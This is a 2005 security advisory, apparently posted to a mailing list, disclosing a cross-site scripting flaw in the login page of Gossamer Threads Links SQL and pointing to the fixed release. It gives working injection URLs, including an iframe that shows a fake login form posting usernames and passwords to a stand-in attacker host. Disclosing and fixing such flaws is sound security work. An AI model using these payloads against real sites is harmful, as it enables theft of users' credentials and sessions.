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Gossamer Threads Links SQL login XSS Vulnerability
From: Nathan House <nhouse () stationx net>
Date: 4 May 2005 09:12:02 -0000



Gossamer Threads Links SQL login XSS Vulnerability

Class 
Input Validation XSS

Remote  Local   Published / Updated
Yes     Yes     04th May 2005

Vulnerable
Vulnerable: Gossamer Threads Links SQL v3.0
   + Links SQL 2.x
   + Links SQL 2.2.x
   + Links SQL 3.0


Not Vulnerable
-

Discussion
Links SQL is a perl/mod_perl/PHP web application written by Gossamer Threads and is used to build any type of 
directory. Although designed to manage links, Links SQL is very customisable and is used all over the Internet for a 
wide range of tasks such as Image Galleries, Press Releases, Yellowpages, Company Directories, and other categorised 
databases. 

The URL variable in the Gossamer Threads Links SQL login page (user.cgi) is a hidden field in the login form and can be 
passed directly to user.cgi in the form of user.cgi?url="xyz"
The URL variable is client side input created by the browser when a user clicks on a link which requires authentication.
After authentication the user is redirected to the URL in the URL variable. 
This URL variable does not sufficiently validate the client side input and is therefore vulnerable to script injection 
and cross site scripting (XSS) attacks. 


Exploit
This is a standard XSS vulnerability.

Note an attacker would normally obfuscate the linking code but for these examples I have made it simple for the sake of 
understanding.

Simple Example 1 (Pop up)
/user.cgi?url=">&lt;script&gt;alert("XSS Vulnerability")&lt;/script&gt;<"&from=rate

Resulting in the following within the HTML being injected:
<input type="hidden" name="url" value="">&lt;script&gt;alert("XSS Vulnerability")&lt;/script&gt;<"" />


Simple Example 2 (iframe to steal username and password)
/user.cgi?url="><iframe%20src="http://www.stationx.net/linksql.html"%20scrolling="No"%20align="MIDDLE"%20width="100%"%20height="3000"%20frameborder="No";></iframe><!--&from=rate


Example 2 produces an invisible iframe presenting a fake login screen to collect usernames and passwords with the 
following HTML injected;
<form action="http://hacker.com/getusernameandpassword.cgi"; method="post">

The &lt;script&gt; content is limited by the imagination of the attacker and the above are just two examples.

Like all XSS vulnerabilities this is a user attack only and not an attack on the system (Links SQL). Although if the 
user happens to be the links sql moderator/admin this user attack could be used to escalate privilege to then attack 
links sql.

To exploit this XSS vulnerability the victim must be tricked into making the above or other carefully crafted HTTP 
request. There are several ways users can be tricked to do this but common methods include via a link in an HTML aware 
email, a web based forum (Gossamer Threads forum) or embedded in a malicious web page.

XSS attacks are often demonstrated harvesting cookies to perform session hijacking and gather other sensitive 
information.


Solution
A new release has been created to fix this problem. Upgrade to Gossamer Links 3.0.1

http://www.gossamer-threads.com/forum/Gossamer_Links_3.0.1_Released_P280986/

http://gossamer-threads.com/perl/gforum/gforum.cgi?post=281029;


Credit
Nathan House @ StationX


References
http://www.stationx.net
http://www.stationx.net/advisories.php
http://www.gossamer-threads.com/scripts/links-sql/index.htm




Legal Notice
Copyright (©) 2005 StationX (UK) ltd. Referred to as “StationX” further more.
This advisory written by StationX can be distributed freely electronically without permission from StationX. This 
advisory may not be altered without the express written permission of StationX. If you wish to print this advisory 
whole or in part in any none electronic form please contact StationX for consent.

Disclaimer
This advisory to the best of our knowledge and given current information is correct and accurate at the date given 
above “Published / Updated”.  Use of any information in this advisory is for informational purposes only to help 
further the development of the security industry and help further secure systems. The information in the advisory 
should NOT be used adversely. StationX, the author and any publishers gives no guarantees or warranties at all with 
regards to any information in this advisory. Under no circumstances shall StationX, the author and any publishers be 
liable in contract, tort, or otherwise, for any loss or damage whatsoever arising from use of or in any way connected 
with this advisory or any hyperlinked website, including, without limitation, damages for loss of business, loss of 
profits, business interruption, loss of business information, loss of programs or other data on the user's information 
handling system or otherwise maintained, or any other pecuniar
 y loss (even where StationX, the author and any publishers has been advised of the possibility of such loss or damage 
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